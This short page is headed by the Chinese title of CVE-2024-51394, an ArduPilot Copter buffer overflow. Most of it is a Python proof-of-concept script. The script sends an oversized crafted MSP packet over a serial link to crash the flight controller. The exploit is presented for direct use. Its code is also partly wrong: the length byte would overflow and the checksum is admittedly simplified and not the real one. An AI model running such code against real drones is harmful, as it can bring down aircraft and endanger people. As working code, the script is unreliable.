CVE-2024-51394 ArduPilot Copter 缓冲区溢出漏洞

# Proof of Concept (Conceptual) # This script demonstrates the trigger condition for the buffer overflow. # It sends a crafted MSP packet with excessive length to the target interface. import serial import time def trigger_overflow(port='/dev/ttyUSB0', baudrate=115200): try: # Initialize serial connection ser = serial.Serial(port, baudrate, timeout=1) # MSP Header: '$M<' (Direction: IN) header = b'$M<' # Vulnerability: AP_MSP::loop does not check bounds properly. # We simulate a payload larger than the expected buffer size. # Assuming the buffer is small (e.g., 64 bytes), we send 256 bytes. payload_size = 256 message_type = b'\xFF' # Arbitrary message ID payload = b'A' * payload_size # Calculate checksum (simplified for PoC) checksum = (sum(message_type) + sum(payload)) & 0xFF packet = header + bytes([payload_size]) + message_type + payload + bytes([checksum]) print(f"[+] Sending malicious packet of size {len(packet)} bytes...") ser.write(packet) print("[+] Packet sent. Check device status for crash/DoS.") ser.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Adjust the port according to your environment trigger_overflow()